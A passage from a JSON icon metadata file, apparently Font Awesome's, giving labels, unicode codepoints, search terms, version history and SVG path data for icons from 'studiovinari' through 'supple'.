        "path": "M136.5 294.2l58.8 22.9c9.1-36.8 25.4-61.1 55-61.1c49.4 0 71.4 63.6 142.4 63.6c15.6 0 35.9-2.8 55.3-13.3V368c0 61.8-50.4 112-112.3 112H0l41.8-56L0 368l41.7-56L0 256.1l41.8-56L0 144.1 41.8 88 0 32H335.7C397.6 32 448 82.3 448 144.1v51.3c-9.2 36.3-25.9 60.6-55 60.6c-49.6 0-71.6-63.5-142.4-63.5c-35.9 0-95.2 14.6-114.1 101.6h0z"
      }
    },
    "free": ["brands"]
  },
  "studiovinari": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f3f8",
    "label": "Studio Vinari",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014473,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M480.3 187.7l4.2 28v28l-25.1 44.1-39.8 78.4-56.1 67.5-79.1 37.8-17.7 24.5-7.7 12-9.6 4s17.3-63.6 19.4-63.6c2.1 0 20.3.7 20.3.7l66.7-38.6-92.5 26.1-55.9 36.8-22.8 28-6.6 1.4 20.8-73.6 6.9-5.5 20.7 12.9 88.3-45.2 56.8-51.5 14.8-68.4-125.4 23.3 15.2-18.2-173.4-53.3 81.9-10.5-166-122.9L133.5 108 32.2 0l252.9 126.6-31.5-38L378 163 234.7 64l18.7 38.4-49.6-18.1L158.3 0l194.6 122L310 66.2l108 96.4 12-8.9-21-16.4 4.2-37.8L451 89.1l29.2 24.7 11.5 4.2-7 6.2 8.5 12-13.1 7.4-10.3 20.2 10.5 23.9z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M480.3 187.7l4.2 28v28l-25.1 44.1-39.8 78.4-56.1 67.5-79.1 37.8-17.7 24.5-7.7 12-9.6 4s17.3-63.6 19.4-63.6c2.1 0 20.3.7 20.3.7l66.7-38.6-92.5 26.1-55.9 36.8-22.8 28-6.6 1.4 20.8-73.6 6.9-5.5 20.7 12.9 88.3-45.2 56.8-51.5 14.8-68.4-125.4 23.3 15.2-18.2-173.4-53.3 81.9-10.5-166-122.9L133.5 108 32.2 0l252.9 126.6-31.5-38L378 163 234.7 64l18.7 38.4-49.6-18.1L158.3 0l194.6 122L310 66.2l108 96.4 12-8.9-21-16.4 4.2-37.8L451 89.1l29.2 24.7 11.5 4.2-7 6.2 8.5 12-13.1 7.4-10.3 20.2 10.5 23.9z"
      }
    },
    "free": ["brands"]
  },
  "stumbleupon": {
    "changes": ["4.1.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f1a4",
    "label": "StumbleUpon Logo",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014473,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M502.9 266v69.7c0 62.1-50.3 112.4-112.4 112.4-61.8 0-112.4-49.8-112.4-111.3v-70.2l34.3 16 51.1-15.2V338c0 14.7 12 26.5 26.7 26.5S417 352.7 417 338v-72h85.9zm-224.7-58.2l34.3 16 51.1-15.2V173c0-60.5-51.1-109-112.1-109-60.8 0-112.1 48.2-112.1 108.2v162.4c0 14.9-12 26.7-26.7 26.7S86 349.5 86 334.6V266H0v69.7C0 397.7 50.3 448 112.4 448c61.6 0 112.4-49.5 112.4-110.8V176.9c0-14.7 12-26.7 26.7-26.7s26.7 12 26.7 26.7v30.9z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M502.9 266v69.7c0 62.1-50.3 112.4-112.4 112.4-61.8 0-112.4-49.8-112.4-111.3v-70.2l34.3 16 51.1-15.2V338c0 14.7 12 26.5 26.7 26.5S417 352.7 417 338v-72h85.9zm-224.7-58.2l34.3 16 51.1-15.2V173c0-60.5-51.1-109-112.1-109-60.8 0-112.1 48.2-112.1 108.2v162.4c0 14.9-12 26.7-26.7 26.7S86 349.5 86 334.6V266H0v69.7C0 397.7 50.3 448 112.4 448c61.6 0 112.4-49.5 112.4-110.8V176.9c0-14.7 12-26.7 26.7-26.7s26.7 12 26.7 26.7v30.9z"
      }
    },
    "free": ["brands"]
  },
  "stumbleupon-circle": {
    "changes": ["4.1.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f1a3",
    "label": "StumbleUpon Circle",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014460,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm0 177.5c-9.8 0-17.8 8-17.8 17.8v106.9c0 40.9-33.9 73.9-74.9 73.9-41.4 0-74.9-33.5-74.9-74.9v-46.5h57.3v45.8c0 10 8 17.8 17.8 17.8s17.8-7.9 17.8-17.8V200.1c0-40 34.2-72.1 74.7-72.1 40.7 0 74.7 32.3 74.7 72.6v23.7l-34.1 10.1-22.9-10.7v-20.6c.1-9.6-7.9-17.6-17.7-17.6zm167.6 123.6c0 41.4-33.5 74.9-74.9 74.9-41.2 0-74.9-33.2-74.9-74.2V263l22.9 10.7 34.1-10.1v47.1c0 9.8 8 17.6 17.8 17.6s17.8-7.9 17.8-17.6v-48h57.3c-.1 45.9-.1 46.4-.1 46.4z\"/></svg>",
        "viewBox": [0, 0, 496, 512],
        "width": 496,
        "height": 512,
        "path": "M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm0 177.5c-9.8 0-17.8 8-17.8 17.8v106.9c0 40.9-33.9 73.9-74.9 73.9-41.4 0-74.9-33.5-74.9-74.9v-46.5h57.3v45.8c0 10 8 17.8 17.8 17.8s17.8-7.9 17.8-17.8V200.1c0-40 34.2-72.1 74.7-72.1 40.7 0 74.7 32.3 74.7 72.6v23.7l-34.1 10.1-22.9-10.7v-20.6c.1-9.6-7.9-17.6-17.7-17.6zm167.6 123.6c0 41.4-33.5 74.9-74.9 74.9-41.2 0-74.9-33.2-74.9-74.2V263l22.9 10.7 34.1-10.1v47.1c0 9.8 8 17.6 17.8 17.6s17.8-7.9 17.8-17.6v-48h57.3c-.1 45.9-.1 46.4-.1 46.4z"
      }
    },
    "free": ["brands"]
  },
  "subscript": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f12c"]
      }
    },
    "changes": [
      "3.1.0",
      "5.0.0",
      "5.9.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["edit", "font", "format", "text", "type"]
    },
    "styles": ["solid"],
    "unicode": "f12c",
    "label": "Subscript",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767246,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M32 64C14.3 64 0 78.3 0 96s14.3 32 32 32H47.3l89.6 128L47.3 384H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H64c10.4 0 20.2-5.1 26.2-13.6L176 311.8l85.8 122.6c6 8.6 15.8 13.6 26.2 13.6h32c17.7 0 32-14.3 32-32s-14.3-32-32-32H304.7L215.1 256l89.6-128H320c17.7 0 32-14.3 32-32s-14.3-32-32-32H288c-10.4 0-20.2 5.1-26.2 13.6L176 200.2 90.2 77.6C84.2 69.1 74.4 64 64 64H32zM480 320c0-11.1-5.7-21.4-15.2-27.2s-21.2-6.4-31.1-1.4l-32 16c-15.8 7.9-22.2 27.1-14.3 42.9C393 361.5 404.3 368 416 368v80c-17.7 0-32 14.3-32 32s14.3 32 32 32h32 32c17.7 0 32-14.3 32-32s-14.3-32-32-32V320z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M32 64C14.3 64 0 78.3 0 96s14.3 32 32 32H47.3l89.6 128L47.3 384H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H64c10.4 0 20.2-5.1 26.2-13.6L176 311.8l85.8 122.6c6 8.6 15.8 13.6 26.2 13.6h32c17.7 0 32-14.3 32-32s-14.3-32-32-32H304.7L215.1 256l89.6-128H320c17.7 0 32-14.3 32-32s-14.3-32-32-32H288c-10.4 0-20.2 5.1-26.2 13.6L176 200.2 90.2 77.6C84.2 69.1 74.4 64 64 64H32zM480 320c0-11.1-5.7-21.4-15.2-27.2s-21.2-6.4-31.1-1.4l-32 16c-15.8 7.9-22.2 27.1-14.3 42.9C393 361.5 404.3 368 416 368v80c-17.7 0-32 14.3-32 32s14.3 32 32 32h32 32c17.7 0 32-14.3 32-32s-14.3-32-32-32V320z"
      }
    },
    "free": ["solid"]
  },
  "suitcase": {
    "aliases": {
      "unicodes": {
        "composite": ["1f9f3"],
        "secondary": ["10f0f2"]
      }
    },
    "changes": [
      "3.0.0",
      "5.0.0",
      "5.0.9",
      "6.0.0-beta1",
      "6.1.2",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "baggage",
        "luggage",
        "move",
        "packing",
        "suitcase",
        "travel",
        "trip"
      ]
    },
    "styles": ["solid"],
    "unicode": "f0f2",
    "label": "Suitcase",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767443,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M176 56V96H336V56c0-4.4-3.6-8-8-8H184c-4.4 0-8 3.6-8 8zM128 96V56c0-30.9 25.1-56 56-56H328c30.9 0 56 25.1 56 56V96v32V480H128V128 96zM64 96H96V480H64c-35.3 0-64-28.7-64-64V160c0-35.3 28.7-64 64-64zM448 480H416V96h32c35.3 0 64 28.7 64 64V416c0 35.3-28.7 64-64 64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M176 56V96H336V56c0-4.4-3.6-8-8-8H184c-4.4 0-8 3.6-8 8zM128 96V56c0-30.9 25.1-56 56-56H328c30.9 0 56 25.1 56 56V96v32V480H128V128 96zM64 96H96V480H64c-35.3 0-64-28.7-64-64V160c0-35.3 28.7-64 64-64zM448 480H416V96h32c35.3 0 64 28.7 64 64V416c0 35.3-28.7 64-64 64z"
      }
    },
    "free": ["solid"]
  },
  "suitcase-medical": {
    "aliases": {
      "names": ["medkit"],
      "unicodes": {
        "secondary": ["10f0fa"]
      }
    },
    "changes": ["3.0.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "first aid",
        "firstaid",
        "health",
        "help",
        "medical",
        "supply",
        "support"
      ]
    },
    "styles": ["solid"],
    "unicode": "f0fa",
    "label": "Suitcase Medical",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767442,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M184 48H328c4.4 0 8 3.6 8 8V96H176V56c0-4.4 3.6-8 8-8zm-56 8V96v32V480H384V128 96 56c0-30.9-25.1-56-56-56H184c-30.9 0-56 25.1-56 56zM96 96H64C28.7 96 0 124.7 0 160V416c0 35.3 28.7 64 64 64H96V96zM416 480h32c35.3 0 64-28.7 64-64V160c0-35.3-28.7-64-64-64H416V480zM224 208c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v48h48c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H288v48c0 8.8-7.2 16-16 16H240c-8.8 0-16-7.2-16-16V320H176c-8.8 0-16-7.2-16-16V272c0-8.8 7.2-16 16-16h48V208z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M184 48H328c4.4 0 8 3.6 8 8V96H176V56c0-4.4 3.6-8 8-8zm-56 8V96v32V480H384V128 96 56c0-30.9-25.1-56-56-56H184c-30.9 0-56 25.1-56 56zM96 96H64C28.7 96 0 124.7 0 160V416c0 35.3 28.7 64 64 64H96V96zM416 480h32c35.3 0 64-28.7 64-64V160c0-35.3-28.7-64-64-64H416V480zM224 208c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16v48h48c8.8 0 16 7.2 16 16v32c0 8.8-7.2 16-16 16H288v48c0 8.8-7.2 16-16 16H240c-8.8 0-16-7.2-16-16V320H176c-8.8 0-16-7.2-16-16V272c0-8.8 7.2-16 16-16h48V208z"
      }
    },
    "free": ["solid"]
  },
  "suitcase-rolling": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f5c1"]
      }
    },
    "changes": ["5.1.0", "5.10.2", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["baggage", "luggage", "move", "suitcase", "travel", "trip"]
    },
    "styles": ["solid"],
    "unicode": "f5c1",
    "label": "Suitcase Rolling",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767441,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M144 56c0-4.4 3.6-8 8-8h80c4.4 0 8 3.6 8 8v72H144V56zm176 72H288V56c0-30.9-25.1-56-56-56H152C121.1 0 96 25.1 96 56v72H64c-35.3 0-64 28.7-64 64V416c0 35.3 28.7 64 64 64c0 17.7 14.3 32 32 32s32-14.3 32-32H256c0 17.7 14.3 32 32 32s32-14.3 32-32c35.3 0 64-28.7 64-64V192c0-35.3-28.7-64-64-64zM112 224H272c8.8 0 16 7.2 16 16s-7.2 16-16 16H112c-8.8 0-16-7.2-16-16s7.2-16 16-16zm0 128H272c8.8 0 16 7.2 16 16s-7.2 16-16 16H112c-8.8 0-16-7.2-16-16s7.2-16 16-16z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M144 56c0-4.4 3.6-8 8-8h80c4.4 0 8 3.6 8 8v72H144V56zm176 72H288V56c0-30.9-25.1-56-56-56H152C121.1 0 96 25.1 96 56v72H64c-35.3 0-64 28.7-64 64V416c0 35.3 28.7 64 64 64c0 17.7 14.3 32 32 32s32-14.3 32-32H256c0 17.7 14.3 32 32 32s32-14.3 32-32c35.3 0 64-28.7 64-64V192c0-35.3-28.7-64-64-64zM112 224H272c8.8 0 16 7.2 16 16s-7.2 16-16 16H112c-8.8 0-16-7.2-16-16s7.2-16 16-16zm0 128H272c8.8 0 16 7.2 16 16s-7.2 16-16 16H112c-8.8 0-16-7.2-16-16s7.2-16 16-16z"
      }
    },
    "free": ["solid"]
  },
  "sun": {
    "aliases": {
      "unicodes": {
        "composite": ["2600"],
        "secondary": ["10f185"]
      }
    },
    "changes": [
      "3.2.0",
      "5.0.0",
      "5.5.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "bright",
        "brighten",
        "contrast",
        "day",
        "lighter",
        "rays",
        "sol",
        "solar",
        "star",
        "sun",
        "sunny",
        "weather"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f185",
    "label": "Sun",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767661,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M361.5 1.2c5 2.1 8.6 6.6 9.6 11.9L391 121l107.9 19.8c5.3 1 9.8 4.6 11.9 9.6s1.5 10.7-1.6 15.2L446.9 256l62.3 90.3c3.1 4.5 3.7 10.2 1.6 15.2s-6.6 8.6-11.9 9.6L391 391 371.1 498.9c-1 5.3-4.6 9.8-9.6 11.9s-10.7 1.5-15.2-1.6L256 446.9l-90.3 62.3c-4.5 3.1-10.2 3.7-15.2 1.6s-8.6-6.6-9.6-11.9L121 391 13.1 371.1c-5.3-1-9.8-4.6-11.9-9.6s-1.5-10.7 1.6-15.2L65.1 256 2.8 165.7c-3.1-4.5-3.7-10.2-1.6-15.2s6.6-8.6 11.9-9.6L121 121 140.9 13.1c1-5.3 4.6-9.8 9.6-11.9s10.7-1.5 15.2 1.6L256 65.1 346.3 2.8c4.5-3.1 10.2-3.7 15.2-1.6zM160 256a96 96 0 1 1 192 0 96 96 0 1 1 -192 0zm224 0a128 128 0 1 0 -256 0 128 128 0 1 0 256 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M361.5 1.2c5 2.1 8.6 6.6 9.6 11.9L391 121l107.9 19.8c5.3 1 9.8 4.6 11.9 9.6s1.5 10.7-1.6 15.2L446.9 256l62.3 90.3c3.1 4.5 3.7 10.2 1.6 15.2s-6.6 8.6-11.9 9.6L391 391 371.1 498.9c-1 5.3-4.6 9.8-9.6 11.9s-10.7 1.5-15.2-1.6L256 446.9l-90.3 62.3c-4.5 3.1-10.2 3.7-15.2 1.6s-8.6-6.6-9.6-11.9L121 391 13.1 371.1c-5.3-1-9.8-4.6-11.9-9.6s-1.5-10.7 1.6-15.2L65.1 256 2.8 165.7c-3.1-4.5-3.7-10.2-1.6-15.2s6.6-8.6 11.9-9.6L121 121 140.9 13.1c1-5.3 4.6-9.8 9.6-11.9s10.7-1.5 15.2 1.6L256 65.1 346.3 2.8c4.5-3.1 10.2-3.7 15.2-1.6zM160 256a96 96 0 1 1 192 0 96 96 0 1 1 -192 0zm224 0a128 128 0 1 0 -256 0 128 128 0 1 0 256 0z"
      },
      "regular": {
        "last_modified": 1684767661,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M375.7 19.7c-1.5-8-6.9-14.7-14.4-17.8s-16.1-2.2-22.8 2.4L256 61.1 173.5 4.2c-6.7-4.6-15.3-5.5-22.8-2.4s-12.9 9.8-14.4 17.8l-18.1 98.5L19.7 136.3c-8 1.5-14.7 6.9-17.8 14.4s-2.2 16.1 2.4 22.8L61.1 256 4.2 338.5c-4.6 6.7-5.5 15.3-2.4 22.8s9.8 13 17.8 14.4l98.5 18.1 18.1 98.5c1.5 8 6.9 14.7 14.4 17.8s16.1 2.2 22.8-2.4L256 450.9l82.5 56.9c6.7 4.6 15.3 5.5 22.8 2.4s12.9-9.8 14.4-17.8l18.1-98.5 98.5-18.1c8-1.5 14.7-6.9 17.8-14.4s2.2-16.1-2.4-22.8L450.9 256l56.9-82.5c4.6-6.7 5.5-15.3 2.4-22.8s-9.8-12.9-17.8-14.4l-98.5-18.1L375.7 19.7zM269.6 110l65.6-45.2 14.4 78.3c1.8 9.8 9.5 17.5 19.3 19.3l78.3 14.4L402 242.4c-5.7 8.2-5.7 19 0 27.2l45.2 65.6-78.3 14.4c-9.8 1.8-17.5 9.5-19.3 19.3l-14.4 78.3L269.6 402c-8.2-5.7-19-5.7-27.2 0l-65.6 45.2-14.4-78.3c-1.8-9.8-9.5-17.5-19.3-19.3L64.8 335.2 110 269.6c5.7-8.2 5.7-19 0-27.2L64.8 176.8l78.3-14.4c9.8-1.8 17.5-9.5 19.3-19.3l14.4-78.3L242.4 110c8.2 5.7 19 5.7 27.2 0zM256 368a112 112 0 1 0 0-224 112 112 0 1 0 0 224zM192 256a64 64 0 1 1 128 0 64 64 0 1 1 -128 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M375.7 19.7c-1.5-8-6.9-14.7-14.4-17.8s-16.1-2.2-22.8 2.4L256 61.1 173.5 4.2c-6.7-4.6-15.3-5.5-22.8-2.4s-12.9 9.8-14.4 17.8l-18.1 98.5L19.7 136.3c-8 1.5-14.7 6.9-17.8 14.4s-2.2 16.1 2.4 22.8L61.1 256 4.2 338.5c-4.6 6.7-5.5 15.3-2.4 22.8s9.8 13 17.8 14.4l98.5 18.1 18.1 98.5c1.5 8 6.9 14.7 14.4 17.8s16.1 2.2 22.8-2.4L256 450.9l82.5 56.9c6.7 4.6 15.3 5.5 22.8 2.4s12.9-9.8 14.4-17.8l18.1-98.5 98.5-18.1c8-1.5 14.7-6.9 17.8-14.4s2.2-16.1-2.4-22.8L450.9 256l56.9-82.5c4.6-6.7 5.5-15.3 2.4-22.8s-9.8-12.9-17.8-14.4l-98.5-18.1L375.7 19.7zM269.6 110l65.6-45.2 14.4 78.3c1.8 9.8 9.5 17.5 19.3 19.3l78.3 14.4L402 242.4c-5.7 8.2-5.7 19 0 27.2l45.2 65.6-78.3 14.4c-9.8 1.8-17.5 9.5-19.3 19.3l-14.4 78.3L269.6 402c-8.2-5.7-19-5.7-27.2 0l-65.6 45.2-14.4-78.3c-1.8-9.8-9.5-17.5-19.3-19.3L64.8 335.2 110 269.6c5.7-8.2 5.7-19 0-27.2L64.8 176.8l78.3-14.4c9.8-1.8 17.5-9.5 19.3-19.3l14.4-78.3L242.4 110c8.2 5.7 19 5.7 27.2 0zM256 368a112 112 0 1 0 0-224 112 112 0 1 0 0 224zM192 256a64 64 0 1 1 128 0 64 64 0 1 1 -128 0z"
      }
    },
    "free": ["regular", "solid"]
  },
  "sun-plant-wilt": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["arid", "droop", "drought"]
    },
    "styles": ["solid"],
    "unicode": "e57a",
    "label": "Sun Plant Wilt",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684768131,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M160 0c-6.3 0-12 3.7-14.6 9.5L120.6 64.9 63.9 43.2c-5.9-2.3-12.6-.8-17 3.6s-5.9 11.1-3.6 17l21.7 56.7L9.5 145.4C3.7 148 0 153.7 0 160s3.7 12 9.5 14.6l55.4 24.8L43.2 256.1c-2.3 5.9-.8 12.6 3.6 17s11.1 5.9 17 3.6l56.7-21.7 24.8 55.4c2.6 5.8 8.3 9.5 14.6 9.5s12-3.7 14.6-9.5l24.8-55.4 56.7 21.7c5.9 2.3 12.6 .8 17-3.6s5.9-11.1 3.6-17l-21.7-56.7 55.4-24.8c5.8-2.6 9.5-8.3 9.5-14.6s-3.7-12-9.5-14.6l-55.4-24.8 21.7-56.7c2.3-5.9 .8-12.6-3.6-17s-11.1-5.9-17-3.6L199.4 64.9 174.6 9.5C172 3.7 166.3 0 160 0zm0 96a64 64 0 1 1 0 128 64 64 0 1 1 0-128zm32 64a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zm312 16c0-17.7 14.3-32 32-32s32 14.3 32 32v53.4c-14.8 7.7-24 23.1-24 44.6c0 16.8 16 44 37.4 67.2c5.8 6.2 15.5 6.2 21.2 0C624 318 640 290.7 640 274c0-21.5-9.2-37-24-44.6V176c0-44.2-35.8-80-80-80s-80 35.8-80 80v22.7c-9.8-4.3-20.6-6.7-32-6.7c-44.2 0-80 35.8-80 80v21.4c-14.8 7.7-24 23.1-24 44.6c0 16.8 16 44 37.4 67.2c5.8 6.2 15.5 6.2 21.2 0C400 382 416 354.7 416 338c0-21.5-9.2-37-24-44.6V272c0-17.7 14.3-32 32-32s32 14.3 32 32v8V448H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H608c17.7 0 32-14.3 32-32s-14.3-32-32-32H504V280v-8V176z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M160 0c-6.3 0-12 3.7-14.6 9.5L120.6 64.9 63.9 43.2c-5.9-2.3-12.6-.8-17 3.6s-5.9 11.1-3.6 17l21.7 56.7L9.5 145.4C3.7 148 0 153.7 0 160s3.7 12 9.5 14.6l55.4 24.8L43.2 256.1c-2.3 5.9-.8 12.6 3.6 17s11.1 5.9 17 3.6l56.7-21.7 24.8 55.4c2.6 5.8 8.3 9.5 14.6 9.5s12-3.7 14.6-9.5l24.8-55.4 56.7 21.7c5.9 2.3 12.6 .8 17-3.6s5.9-11.1 3.6-17l-21.7-56.7 55.4-24.8c5.8-2.6 9.5-8.3 9.5-14.6s-3.7-12-9.5-14.6l-55.4-24.8 21.7-56.7c2.3-5.9 .8-12.6-3.6-17s-11.1-5.9-17-3.6L199.4 64.9 174.6 9.5C172 3.7 166.3 0 160 0zm0 96a64 64 0 1 1 0 128 64 64 0 1 1 0-128zm32 64a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zm312 16c0-17.7 14.3-32 32-32s32 14.3 32 32v53.4c-14.8 7.7-24 23.1-24 44.6c0 16.8 16 44 37.4 67.2c5.8 6.2 15.5 6.2 21.2 0C624 318 640 290.7 640 274c0-21.5-9.2-37-24-44.6V176c0-44.2-35.8-80-80-80s-80 35.8-80 80v22.7c-9.8-4.3-20.6-6.7-32-6.7c-44.2 0-80 35.8-80 80v21.4c-14.8 7.7-24 23.1-24 44.6c0 16.8 16 44 37.4 67.2c5.8 6.2 15.5 6.2 21.2 0C400 382 416 354.7 416 338c0-21.5-9.2-37-24-44.6V272c0-17.7 14.3-32 32-32s32 14.3 32 32v8V448H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H608c17.7 0 32-14.3 32-32s-14.3-32-32-32H504V280v-8V176z"
      }
    },
    "free": ["solid"]
  },
  "superpowers": {
    "changes": ["4.7.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f2dd",
    "label": "Superpowers",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014467,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M448 32c-83.3 11-166.8 22-250 33-92 12.5-163.3 86.7-169 180-3.3 55.5 18 109.5 57.8 148.2L0 480c83.3-11 166.5-22 249.8-33 91.8-12.5 163.3-86.8 168.7-179.8 3.5-55.5-18-109.5-57.7-148.2L448 32zm-79.7 232.3c-4.2 79.5-74 139.2-152.8 134.5-79.5-4.7-140.7-71-136.3-151 4.5-79.2 74.3-139.3 153-134.5 79.3 4.7 140.5 71 136.1 151z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M448 32c-83.3 11-166.8 22-250 33-92 12.5-163.3 86.7-169 180-3.3 55.5 18 109.5 57.8 148.2L0 480c83.3-11 166.5-22 249.8-33 91.8-12.5 163.3-86.8 168.7-179.8 3.5-55.5-18-109.5-57.7-148.2L448 32zm-79.7 232.3c-4.2 79.5-74 139.2-152.8 134.5-79.5-4.7-140.7-71-136.3-151 4.5-79.2 74.3-139.3 153-134.5 79.3 4.7 140.5 71 136.1 151z"
      }
    },
    "free": ["brands"]
  },
  "superscript": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f12b"]
      }
    },
    "changes": [
      "3.1.0",
      "5.0.0",
      "5.9.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["edit", "exponential", "font", "format", "text", "type"]
    },
    "styles": ["solid"],
    "unicode": "f12b",
    "label": "Superscript",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767245,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M480 32c0-11.1-5.7-21.4-15.2-27.2s-21.2-6.4-31.1-1.4l-32 16c-15.8 7.9-22.2 27.1-14.3 42.9C393 73.5 404.3 80 416 80v80c-17.7 0-32 14.3-32 32s14.3 32 32 32h32 32c17.7 0 32-14.3 32-32s-14.3-32-32-32V32zM32 64C14.3 64 0 78.3 0 96s14.3 32 32 32H47.3l89.6 128L47.3 384H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H64c10.4 0 20.2-5.1 26.2-13.6L176 311.8l85.8 122.6c6 8.6 15.8 13.6 26.2 13.6h32c17.7 0 32-14.3 32-32s-14.3-32-32-32H304.7L215.1 256l89.6-128H320c17.7 0 32-14.3 32-32s-14.3-32-32-32H288c-10.4 0-20.2 5.1-26.2 13.6L176 200.2 90.2 77.6C84.2 69.1 74.4 64 64 64H32z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M480 32c0-11.1-5.7-21.4-15.2-27.2s-21.2-6.4-31.1-1.4l-32 16c-15.8 7.9-22.2 27.1-14.3 42.9C393 73.5 404.3 80 416 80v80c-17.7 0-32 14.3-32 32s14.3 32 32 32h32 32c17.7 0 32-14.3 32-32s-14.3-32-32-32V32zM32 64C14.3 64 0 78.3 0 96s14.3 32 32 32H47.3l89.6 128L47.3 384H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H64c10.4 0 20.2-5.1 26.2-13.6L176 311.8l85.8 122.6c6 8.6 15.8 13.6 26.2 13.6h32c17.7 0 32-14.3 32-32s-14.3-32-32-32H304.7L215.1 256l89.6-128H320c17.7 0 32-14.3 32-32s-14.3-32-32-32H288c-10.4 0-20.2 5.1-26.2 13.6L176 200.2 90.2 77.6C84.2 69.1 74.4 64 64 64H32z"
      }
    },
    "free": ["solid"]
  },
  "supple": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f3f9",
    "label": "Supple",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014463,
